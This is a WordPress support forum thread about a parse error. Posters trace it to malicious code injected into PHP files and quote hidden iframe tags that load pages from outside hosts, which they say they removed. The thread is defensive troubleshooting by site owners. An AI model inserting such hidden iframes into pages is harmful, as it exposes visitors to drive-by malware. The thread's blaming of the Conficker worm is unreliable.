Forums

Unexpected character in input: ''' (ASCII=39) (10 posts)

  1. Warnsy
    Member
    Posted 6 months ago #

    I get the follwing message when I try to view my site:

    I think I know why this has happend. By mistake I copied and pasted a Microsoft Word document and I think this caused this problem.

    However I have no idea to rectify it! Any help would be really appreacited! Thanks in advance!

    Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /home/onlinebi/public_html/wp-includes/default-filters.php on line 197

    Parse error: syntax error, unexpected T_STRING in /home/onlinebi/public_html/wp-includes/default-filters.php on line 198

  2. stvwlf
    Member
    Posted 6 months ago #

    By mistake I copied and pasted a Microsoft Word document and I think this caused this problem.

    Into what, a post? If so, edit that post - go to the HTML tab and remove all the code that relates to MS Word, like MsoNormal, and the styles it adds.

  3. Warnsy
    Member
    Posted 6 months ago #

    yea i think so, now im not sure if this is the problem, as some of my blogs I haven't done this and the same problem is occurring. Any advice would be greatly appreciated!

    Thanks!

  4. ban_me
    Member
    Posted 6 months ago #

    This error appeared in my site too. I checked the default-filters.php file and I came to know that this error is due to a line added by widely spread Conficker worm. To remove the error from your site follow these steps:
    1) Scan your PC for existence of Conficker worm. And after cleaning it access your ftp else possibilities are that it might affect other files too.
    2)After cleaning your system open default-filters.php in a text-editor and scroll to the bottom of the file. There you will be able to see a line like
    add_action('<iframe>...
    Delete this complete line. And save the file and re-upload it to your web server. Your site will start working.

    I recommend that you check all your files for the existence Conficker worm.

  5. cutedoctor
    Member
    Posted 6 months ago #

    I have the same problem ,
    I did what you suggested but another error now came

    Parse error: syntax error, unexpected T_STRING in /home/naifal5/public_html/blog/wp-content/plugins/tubepress/env/WordPress/functions/main.php on line 144

    Help me.

  6. kiraninfo
    Member
    Posted 5 months ago #

    same problem i 2 face ....

  7. Savvy95
    Member
    Posted 5 months ago #

    Any resolution?

    I think it's the conficker worm because at the bottom of my index.php in both public and wp-admin I see this:

    <iframe src="http://newnetnameshop.cn:8080/index.php" width=138 height=133 style="visibility: hidden"></iframe>

    which I deleted but still not repaired.

    GoDaddy Engineers are looking into the issue now

  8. shankybaba
    Member
    Posted 5 months ago #

    Even I'm getting the same error.

    I checked my index.php file, found this code added into the file. There many other php file which has been infected with the below code.

    // Silence is golden.
    <iframe src="http://2mj.pl:8080/ts/in.cgi?pepsi74" width=125 height=125 style="visibility: hidden"></iframe>

  9. Savvy95
    Member
    Posted 5 months ago #

    Don't forget to change your passwords IMMEDIATELY

  10. beoleary
    Member
    Posted 2 months ago #

    I have EXACTLY the same problem and also have Godaddy as a host. Was this resolved? How did it get fixed?

Reply

You must log in to post.

About this Topic